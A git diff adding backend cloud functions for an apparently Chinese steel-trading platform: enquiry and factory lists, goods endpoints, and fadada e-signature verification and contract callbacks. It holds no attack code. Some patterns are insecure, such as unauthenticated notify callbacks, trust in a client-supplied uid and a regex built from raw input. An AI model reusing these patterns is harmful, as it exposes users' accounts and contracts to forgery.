+ // andArr.push({userId: _.in(companyList)})
+ whereJson.stealFactory = _.in(companyList)
+ }
+
+ if (vk.pubfn.isNotNull(cateList)) {
+ // andArr.push({userId: _.in(companyList)})
+ if (cateList.length === 1 && cateList[0] === 0) {
+ whereJson.otherCate = _.exists(true)
+ whereJson.otherCate = _.neq(null)
+ }
+ else whereJson.nameList = _.in(cateList)
+ }
+
+ console.log(whereJson)
+
+ if (vk.pubfn.isNotNull(material)) {
+ // andArr.push({userId: _.in(companyList)})
+ whereJson.material = _.in(material)
+ }
+
+ // if (vk.pubfn.isNotNull(categoryIds)) {
+ // whereJson.userId = _.in(categoryIds)
+ // }
+
+ // if (formData && formData.hasOwnProperty('categoryIds') && vk.pubfn.isNotNull(formData.categoryIds)) {
+ // whereJson.categoryIds = _.in(formData.categoryIds)
+ // }
+
+ // if (vk.pubfn.isNotNull(provinceCodes)) {
+ // whereJson['address.province.code'] = _.in(provinceCodes)
+ // }
+ // const cateFilterList = []
+ // if (vk.pubfn.isNotNull(cateList)) {
+ // cateList.forEach(item => {
+ // cateFilterList.push({
+ // nameList: item,
+ // })
+ // })
+ // }
+
+ res = await vk.baseDao.selects({
+ dbName,
+ pageIndex,
+ pageSize,
+ getCount: true,
+ whereJson,
+ sortArr: [{name: "_add_time", type: "desc"}],
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true
+ },
+ person: {
+ personName: true
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ },
+ {
+ dbName: "jjx-enquiry-quote",
+ localKey: "_id",
+ foreignKey: "sheetId",
+ as: "quoteList",
+ limit: 500, // limit=1则以对象形式返回
+ }
+ ]
+ });
+
+ const rows = res.rows
+ rows.forEach((row, rowIndex) => {
+ row.productList.forEach(async (product, productIndex) => {
+ rows[rowIndex].productList[productIndex].template = await vk.baseDao.findById({
+ dbName,
+ id: product.goodsId
+ });
+ })
+ })
+
+ res.notPickNum = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ userId: uid,
+ status: 0
+ },
+ });
+
+ res.pickedNum = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ userId: uid,
+ status: 1
+ },
+ });
+
+ res.noQuoteNum = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ userId: uid,
+ quoteNum: 0
+ },
+ });
+
+ res.all = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ userId: uid,
+ },
+ });
+
+ res.rows = rows
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/template/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/template/pub/getList.js
new file mode 100644
index 0000000..d4c0ec1
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/template/pub/getList.js
@@ -0,0 +1,41 @@
+'use strict';
+const dbName = 'jjx-enquiry-template'
+module.exports = {
+ /**
+ * 查询现货列表
+ * @url client/spot/goods/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const {pageIndex, pageSize} = data
+
+ let whereJson = {
+ enable: true
+ };
+
+
+ res = await vk.baseDao.selects({
+ dbName,
+ getCount: false,
+ pageIndex,
+ pageSize: 500,
+ // 主表where条件
+ whereJson: whereJson,
+ // 主表字段显示规则
+ fieldJson: {},
+ // 主表排序规则
+ sortArr: [{name: "sort", type: "asc"}, {"name": "_add_time", "type": "desc"}],
+
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/ensureConfig/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/ensureConfig/pub/getList.js
new file mode 100644
index 0000000..bb8d16c
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/ensureConfig/pub/getList.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/old/sys/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { pageIndex, pageSize } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: "jjx-ensure-config",
+ pageIndex,
+ pageSize,
+ sortArr: [{"name": "sort", "type":"asc" }, {"name": "_add_time", "type":"desc" }],
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/factory/kh/addUpdate.js b/uniCloud-tcb/cloudfunctions/router/service/client/factory/kh/addUpdate.js
new file mode 100644
index 0000000..87250b9
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/factory/kh/addUpdate.js
@@ -0,0 +1,55 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const check = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-factory",
+ whereJson: {
+ uid
+ }
+ });
+
+ if (check && check.status === 0) {
+ return {
+ code: 1,
+ msg: "审核中,请勿重复提交"
+ }
+ }
+
+ if (!check) {
+ await vk.baseDao.add({
+ dbName: "jjx-factory",
+ dataJson: {...data, uid, status: 0, refuseReason: null}
+ });
+
+ } else {
+ await vk.baseDao.update({
+ dbName: "jjx-factory",
+ whereJson: {uid},
+ dataJson: {...data, status: 0}
+ });
+ }
+
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: uid,
+ dataJson: {
+ factoryStatus: 0
+ }
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/factory/kh/getInfo.js b/uniCloud-tcb/cloudfunctions/router/service/client/factory/kh/getInfo.js
new file mode 100644
index 0000000..d98cbac
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/factory/kh/getInfo.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-factory",
+ whereJson: {
+ uid
+ }
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/factory/pub/getInfo.js b/uniCloud-tcb/cloudfunctions/router/service/client/factory/pub/getInfo.js
new file mode 100644
index 0000000..48811c9
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/factory/pub/getInfo.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {userId} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const resData = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-factory",
+ whereJson: {
+ uid: userId
+ }
+ });
+ res.data = resData
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/factory/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/factory/pub/getList.js
new file mode 100644
index 0000000..9d11494
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/factory/pub/getList.js
@@ -0,0 +1,83 @@
+'use strict';
+const dbName = require("../../../../dao/config");
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {pageSize, pageIndex, area} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ let companyList = []
+ if (!vk.pubfn.isNull(data.keyword)) {
+ companyList = await vk.baseDao.select({
+ dbName: dbName.user,
+ pageSize: 9999,
+ pageIndex: 1,
+ getMain: true,
+ whereJson: {
+ // accountType: 2,
+ "company.companyName": new RegExp(data.keyword)
+ }
+ })
+ }
+
+ const whereJson = {
+ status: 1,
+ isShow: true
+ }
+ if (companyList && companyList.length > 0) {
+ whereJson['uid'] = _.in(companyList.map(v => v.uid))
+ }
+ if (vk.pubfn.isNotNull(data.mainSpotCategory)) {
+ whereJson['mainSpotCategory'] = _.in([data.mainSpotCategory])
+ }
+ if (vk.pubfn.isNotNull(area)) {
+ if (area.length === 3) whereJson['addressRegion.area.code'] = area[2]
+ if (area.length === 2) whereJson['addressRegion.city.code'] = area[1]
+ if (area.length === 1) whereJson['addressRegion.province.code'] = area[0]
+ } else if (vk.pubfn.isNotNull(data.province)) {
+ whereJson['addressRegion.province.code'] = data.province
+ }
+ console.log('factory whereJson', whereJson)
+
+ const resData = await vk.baseDao.selects({
+ dbName: "jjx-factory",
+ whereJson,
+ pageSize,
+ pageIndex,
+ getCount: true,
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "uid",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true,
+ mobile: true,
+ },
+ person: {
+ personName: true,
+ mobile: true,
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ }
+ ]
+ });
+ res.data = resData
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/fadada.js b/uniCloud-tcb/cloudfunctions/router/service/client/fadada.js
new file mode 100644
index 0000000..3e27029
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/fadada.js
@@ -0,0 +1,623 @@
+'use strict';
+const {
+ verify
+} = require("crypto");
+var CryptoJS = require("crypto-js");
+var vk; // 全局vk实例
+// 涉及的表名
+const dbName = require("../../dao/config.js")
+
+var db = uniCloud.database(); // 全局数据库引用
+var _ = db.command; // 数据库操作符
+var $ = _.aggregate; // 聚合查询操作符
+/**
+ * 权限注意:访问以下链接查看
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#内置权限
+ */
+var cloudObject = {
+ isCloudObject: true, // 标记为云对象模式
+ /**
+ * 请求前处理,主要用于调用方法之前进行预处理,一般用于拦截器、统一的身份验证、参数校验、定义全局对象等。
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#before-预处理
+ */
+ _before: async function () {
+ vk = this.vk; // 将vk定义为全局对象
+ // let { customUtil, uniID, config, pubFun } = this.getUtil(); // 获取工具包
+ },
+ /**
+ * 请求后处理,主要用于处理本次调用方法的返回结果或者抛出的错误
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#after-后处理
+ */
+ _after: async function (options) {
+ let {
+ err,
+ res
+ } = options;
+ if (err) {
+ return; // 如果方法抛出错误,直接return;不处理
+ }
+ return res;
+ },
+ /**
+ * 获取列表
+ * @url client/fadada.getList 前端调用的url参数地址
+ */
+ getList: async function (data) {
+ let res = {
+ code: 0,
+ msg: ''
+ };
+ let {
+ uid
+ } = this.getClientInfo(); // 获取客户端信息
+ // 业务逻辑开始-----------------------------------------------------------
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ },
+ /**
+ * 模板函数
+ * @url client/fadada.test 前端调用的url参数地址
+ */
+ test: async function (data) {
+
+ },
+ /**
+ * 实名认证异步通知回调
+ * @param {Object} data
+ */
+ async pub_verifyNotify(data) {
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun
+ } = this.getUtil(); // 获取工具包
+ console.log('fadada res:', data)
+ const {
+ customerId
+ } = data;
+ // 查询认证结果
+ let user = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ whereJson: {
+ fadadaCustomerId: customerId,
+ }
+ });
+ let res, fadadaConfirm = false
+ let authStatus = 1
+ if (user.accountType === 1) {
+ res = await pubFun.fadada('find_personCertInfo.api', {
+ verified_serialno: user.fadadaVerify.transactionNo
+ })
+ console.log('fadada check res:', res)
+ // 认证结果
+ const {person} = res.data
+ if (res.code !== 1 || ![2, 3].includes(parseInt(person.status))) {
+ return
+ }
+ fadadaConfirm = parseInt(person.status) === 2
+ } else {
+ res = await pubFun.fadada('find_companyCertInfo.api', {
+ verified_serialno: user.fadadaVerify.transactionNo
+ })
+ console.log('fadada check res:', res)
+ // 认证结果
+ const {company, manager} = res.data
+ if (res.code !== 1 || ![3, 4].includes(parseInt(company.status)) || ![2, 3].includes(parseInt(manager.status))) {
+ return
+ }
+ fadadaConfirm = parseInt(company.status) === 4 && parseInt(manager.status) === 2
+ if (parseInt(company.status) === 3) authStatus = 0
+ }
+
+
+ // 认证成功
+ await vk.baseDao.setById({
+ dbName: "fadada-verify-record",
+ dataJson: {
+ _id: user._id,
+ ...res.data
+ }
+ })
+
+
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: user._id,
+ dataJson: {
+ person: {
+ ...res.data.person,
+ addressRegion: {
+ province: {},
+ city: {},
+ area: {},
+ }
+ },
+ company: {
+ ...res.data.company, ...{
+ mainSpotCategoryIds: [],
+ addressRegion: {
+ province: {},
+ city: {},
+ area: {},
+ }
+ }
+ },
+ manager: res.data.manager,
+ bankCard: res.data.bankCard,
+ fadadaConfirm,
+ // status: 1,
+ authType: 1,
+ // authStatus: 0,
+ userLevel: 0,
+ userGrade: 0,
+ authSubmitTime: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss")
+ }
+ });
+
+ if (user.inviter_uid && user.inviter_uid.length > 0) {
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: user.inviter_uid[0],
+ dataJson: {
+ inviteNum: _.inc(1)
+ }
+ });
+ }
+
+
+ return res
+ },
+ /**
+ * 合同签署回调处理
+ * @param {Object} data
+ */
+ async pub_contractNotify(data) {
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun
+ } = this.getUtil(); // 获取工具包
+ // 开启事务
+ const transaction = await vk.baseDao.startTransaction();
+
+ const {
+ transaction_id,
+ contract_id,
+ timestamp,
+ result_code,
+ download_url,
+ viewpdf_url
+ } = data
+ try {
+ if (parseInt(result_code) == 3000) {
+ // 获取用户信息
+ const userContract = await vk.daoCenter.userContractDao.updateAndReturn({
+ db: transaction,
+ whereJson: {
+ transactionId: transaction_id,
+ sign: false
+ },
+ dataJson: {
+ sign: true,
+ signedAt: timestamp,
+ }
+ })
+
+ let contract = await vk.daoCenter.contractDao.updateAndReturn({
+ db: transaction,
+ whereJson: {
+ _id: userContract.contractId,
+ status: 1,
+ },
+ dataJson: {
+ signCount: _.inc(1),
+ contractHistory: _.push(download_url)
+ }
+ })
+
+ if (userContract.userId === contract.userId) {
+ const userInfo = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ _id: userContract.userId
+ }
+ })
+ let otherList = await vk.daoCenter.userContractDao.selects({
+ whereJson: {
+ contractId: userContract.contractId,
+ }
+ }
+ )
+ otherList.rows = otherList.rows.filter(item => item.userId !== userContract.userId)
+ for (let i = 0; i < otherList.rows.length; i++) {
+ const thirdUserItem = otherList.rows[i]
+ const thirdUser = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ _id: thirdUserItem.userId
+ }
+ })
+ if (thirdUser !== null) {
+ await pubFun.sendNotifySms(thirdUser._id, 'SMS_474570002', {
+ name: thirdUser.accountType === 2 ? thirdUser.company.companyName : thirdUser.person.personName,
+ name2: userInfo.accountType === 2 ? userInfo.company.companyName : userInfo.person.personName,
+ })
+ }
+ }
+ }
+
+ if (contract.type !== 'sign') {
+ // 用户交易额
+ const user = await vk.baseDao.updateAndReturn({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: userContract.userId
+ },
+ dataJson: {
+ transactionAmount: _.inc(parseFloat(contract.amount))
+ }
+ })
+
+ if (user.userLevel > -1) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-user-level',
+ whereJson: {
+ level: user.userLevel
+ },
+ })
+ await vk.baseDao.update({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: userContract.userId
+ },
+ dataJson: {
+ userGrade: Math.floor(user.transactionAmount / parseFloat(userLevel.upgradeAmount))
+ }
+ })
+ }
+ }
+
+ if (contract.signCount == contract.partyCount) {
+ let sheetId = null
+ contract = await vk.daoCenter.contractDao.updateAndReturn({
+ db: transaction,
+ whereJson: {
+ _id: userContract.contractId,
+ status: 1
+ },
+ dataJson: {
+ status: 2
+ }
+ })
+
+ console.log('contract.type', contract.type)
+
+ // 合同归档
+ const contractFilingRes = await pubFun.fadada('contractFiling.api', {
+ contract_id: contract.transactionId
+ })
+ // console.log('contractFilingRes', contractFilingRes)
+
+ // 添加订单
+ // type 4: 询价 -- enquiry
+ // type 5: 加工 -- process
+ // type 6: 旧货 -- old
+ const otherContract = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-user-contract',
+ whereJson: {
+ contractId: userContract.contractId,
+ role: userContract.role === 'seller' ? 'buyer' : 'seller'
+ }
+ })
+ let sellerUid = null, buyerUid = null
+ if (userContract.role === 'seller') {
+ sellerUid = userContract.userId
+ buyerUid = otherContract.userId
+ } else {
+ sellerUid = otherContract.userId
+ buyerUid = userContract.userId
+ }
+ let type = null, goodsName = null, makeOrder = false, sheet = null
+ if (contract.type === 'enquiry') {
+ type = 4
+ goodsName = '询价单'
+ sheet = await vk.baseDao.updateAndReturn({
+ dbName: "jjx-enquiry-sheet",
+ whereJson: {
+ _id: contract.sheetId
+ },
+ dataJson: {
+ status: 2
+ }
+ })
+ sheetId = contract.sheetId
+ if (sheet.tradeMethod === 1) makeOrder = true
+ } else if (contract.type === 'process') {
+ type = 5
+ goodsName = '加工单'
+ sheet = await vk.baseDao.updateAndReturn({
+ dbName: "jjx-process-sheet",
+ whereJson: {
+ _id: contract.sheetId
+ },
+ dataJson: {
+ status: 2
+ }
+ })
+ sheetId = contract.sheetId
+ if (sheet.tradeMethod === 1) makeOrder = true
+ } else if (contract.type === 'old') {
+ await vk.baseDao.updateAndReturn({
+ dbName: "jjx-old",
+ whereJson: {
+ _id: contract.sheetId
+ },
+ dataJson: {
+ status: 2
+ }
+ })
+ } else if (contract.type === 'sign') {
+ if (contract.tradeMethod === 1) {
+ makeOrder = true
+ type = 14
+ goodsName = '金久信签约宝'
+ }
+ } else if (contract.type === 'self-support') {
+ makeOrder = true
+ type = 15
+ goodsName = '金久信自营询价'
+ sheetId = contract.sheetId
+ }
+ if (makeOrder) {
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid: buyerUid,
+ sellerUid,
+ orderStatus: 0,
+ payStatus: 0,
+ type,
+ amount: contract.amount,
+ offAmount: contract.amount,
+ signMethod: 0,
+ contractId: contract._id,
+ sheetId
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: null,
+ num: 1,
+ goodsName,
+ goodsPrice: contract.amount,
+ goodsCover: null,
+ }
+ })
+ }
+ }
+ }
+ await transaction.commit();
+ } catch (e) {
+ await transaction.rollback();
+ console.log('fadada err:', e)
+ return false
+ }
+ return data;
+ },
+ /**
+ * 获取用户认证结果
+ */
+ async getVerifyResult() {
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun
+ } = this.getUtil(); // 获取工具包
+ let res = {
+ code: 0,
+ msg: ''
+ };
+ let {
+ uid
+ } = this.getClientInfo(); // 获取客户端信息
+ let {
+ accountType,
+ fadadaCustomerId
+ } = await this.getUserInfo();
+
+ res.data = await vk.baseDao.findById({
+ dbName: "fadada-verify-record",
+ id: uid
+ });
+
+ return res
+ },
+ /**
+ * 获取实名认证地址
+ */
+ async getVerifyUrl(event) {
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun
+ } = this.getUtil(); // 获取工具包
+ let res = {
+ code: 0,
+ msg: ''
+ };
+ let {
+ uid
+ } = this.getClientInfo(); // 获取客户端信息
+ let {
+ accountType,
+ fadadaCustomerId,
+ fadadaVerify
+ } = await this.getUserInfo();
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (fadadaVerify && !event.reset) {
+ res.data = fadadaVerify
+ return res;
+ }
+
+
+ let verify_url_res;
+
+ let return_url = event.isMobile ? 'https://m.jinjiuxinzg.cn/pages/user/user' : 'https://www.jinjiuxinzg.cn/#/pages/user/user?menu=fadada'
+ if (event.isSignOnly) {
+ return_url = event.isMobile ? 'https://m.jinjiuxinzg.cn/signOnly/#/' : 'https://www.jinjiuxinzg.cn/signOnly/#/pages/user/user?menu=fadada'
+ }
+ let notify_url = 'https://tcb-n44byxi8bmrfrki-d4bn1c4a206d.service.tcloudbase.com/fadada_verify_notify'
+ if (accountType === 1) {
+ verify_url_res = await pubFun.fadada('get_person_verify_url.api', {
+ customer_id: fadadaCustomerId,
+ verified_way: 2,
+ page_modify: 1,
+ cert_flag: 1,
+ // notify_url: 'https://fc-mp-0737e52b-fffa-4223-bcdf-d4ad3d9968a5.next.bspapp.com/fadada_verify_notify',
+ // return_url: 'https://static-mp-0737e52b-fffa-4223-bcdf-d4ad3d9968a5.next.bspapp.com/#/pages/user/user?menu=fadada'
+ notify_url,
+ return_url
+
+ })
+ } else {
+ verify_url_res = await pubFun.fadada('get_company_verify_url.api', {
+ customer_id: fadadaCustomerId,
+ page_modify: 1,
+ cert_flag: 1,
+ // notify_url: 'https://fc-mp-0737e52b-fffa-4223-bcdf-d4ad3d9968a5.next.bspapp.com/fadada_verify_notify',
+ // return_url: 'https://static-mp-0737e52b-fffa-4223-bcdf-d4ad3d9968a5.next.bspapp.com/#/pages/user/user?menu=fadada'
+ notify_url,
+ return_url
+ })
+ }
+
+ console.log('verify_url_data: ', {
+ customer_id: fadadaCustomerId,
+ verified_way: 2,
+ page_modify: 1,
+ cert_flag: 1,
+ // notify_url: 'https://fc-mp-0737e52b-fffa-4223-bcdf-d4ad3d9968a5.next.bspapp.com/fadada_verify_notify',
+ // return_url: 'https://static-mp-0737e52b-fffa-4223-bcdf-d4ad3d9968a5.next.bspapp.com/#/pages/user/user?menu=fadada'
+ notify_url,
+ return_url
+
+ });
+ console.log('verify_url_res: ', verify_url_res);
+ let {
+ transactionNo,
+ url
+ } = verify_url_res.data
+ var parsedWordArray = CryptoJS.enc.Base64.parse(url);
+ url = parsedWordArray.toString(CryptoJS.enc.Utf8);
+
+ await vk.baseDao.update({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: uid
+ },
+ dataJson: {
+ fadadaVerify: {
+ transactionNo,
+ url
+ }
+ }
+ });
+
+
+ res.data = {
+ transactionNo,
+ url
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+
+ },
+ /**
+ * 调用此接口将customer_id与实名交易号进行绑定,
+ * 绑定成功后该customer_id无法再次绑定其它不同主体认证交易号。
+ * 必须绑定成功后续才可发起签署
+ */
+ async applyCert({
+ customerId,
+ transactionNo
+ }) {
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun
+ } = this.getUtil(); // 获取工具包
+ },
+ async generateContract() {
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun
+ } = this.getUtil(); // 获取工具包
+ let res = {
+ code: 0,
+ msg: ''
+ };
+ let {
+ uid
+ } = this.getClientInfo(); // 获取客户端信息
+ const contract_id = vk.pubfn.createOrderNo("Contract", 25);
+ const parameter_map = {
+ saler: '网宿科技'
+ };
+ const dynamic_tables = [{
+ headers: ["采购商品", "采购数量", "商品单位"], //表头,
+ datas: [
+ ["螺纹钢", "200", "米"]
+ ],
+ pageBegin: -1
+ }]
+ const params = {
+ template_id: 'sale',
+ doc_title: '测试买卖合同',
+ contract_id: contract_id,
+ fill_type: 0, // 填充类型 0 pdf 模板、1 在线填充模板
+ parameter_map: JSON.stringify(parameter_map), //填充内容
+ dynamic_tables: JSON.stringify(dynamic_tables), //填充表格
+ }
+ console.log(params);
+ res.data = await pubFun.fadada('generate_contract.api', params)
+ return res;
+ },
+ async getFile({uuid}) {
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun
+ } = this.getUtil();
+ const res = {
+ code: 0,
+ msg: ''
+ }
+ const file = await pubFun.fadada('get_file.api', {
+ uuid
+ })
+ res.msg = await vk.uploadFile({
+ title: "上传中...",
+ file,
+ needSave: true,
+ });
+ return res
+ }
+}
+
+module.exports = cloudObject;
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/goods/category/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/goods/category/pub/getList.js
new file mode 100644
index 0000000..a89b9d6
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/goods/category/pub/getList.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/goods/category/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.getTableData({
+ dbName: 'jjx-goods-category',
+ sortArr: [
+ { name: "sort", type: "asc" },
+ { name: "_id", type: "desc" },
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/goods/list/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/goods/list/kh/add.js
new file mode 100644
index 0000000..f22e98c
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/goods/list/kh/add.js
@@ -0,0 +1,29 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/list/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.add({
+ dbName: 'jjx-article',
+ dataJson: {
+ ...data, ...{
+ viewNum: 0,
+ downloadNum: 0,
+ }
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/goods/list/pub/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/goods/list/pub/getDetail.js
new file mode 100644
index 0000000..af54355
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/goods/list/pub/getDetail.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/goods/list/pub/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.findById({
+ dbName: "jjx-goods",
+ id: data.id
+ });
+
+ if (!res.sales) {
+ res.sales = 0;
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/goods/list/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/goods/list/pub/getList.js
new file mode 100644
index 0000000..6110afb
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/goods/list/pub/getList.js
@@ -0,0 +1,44 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/goods/list/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
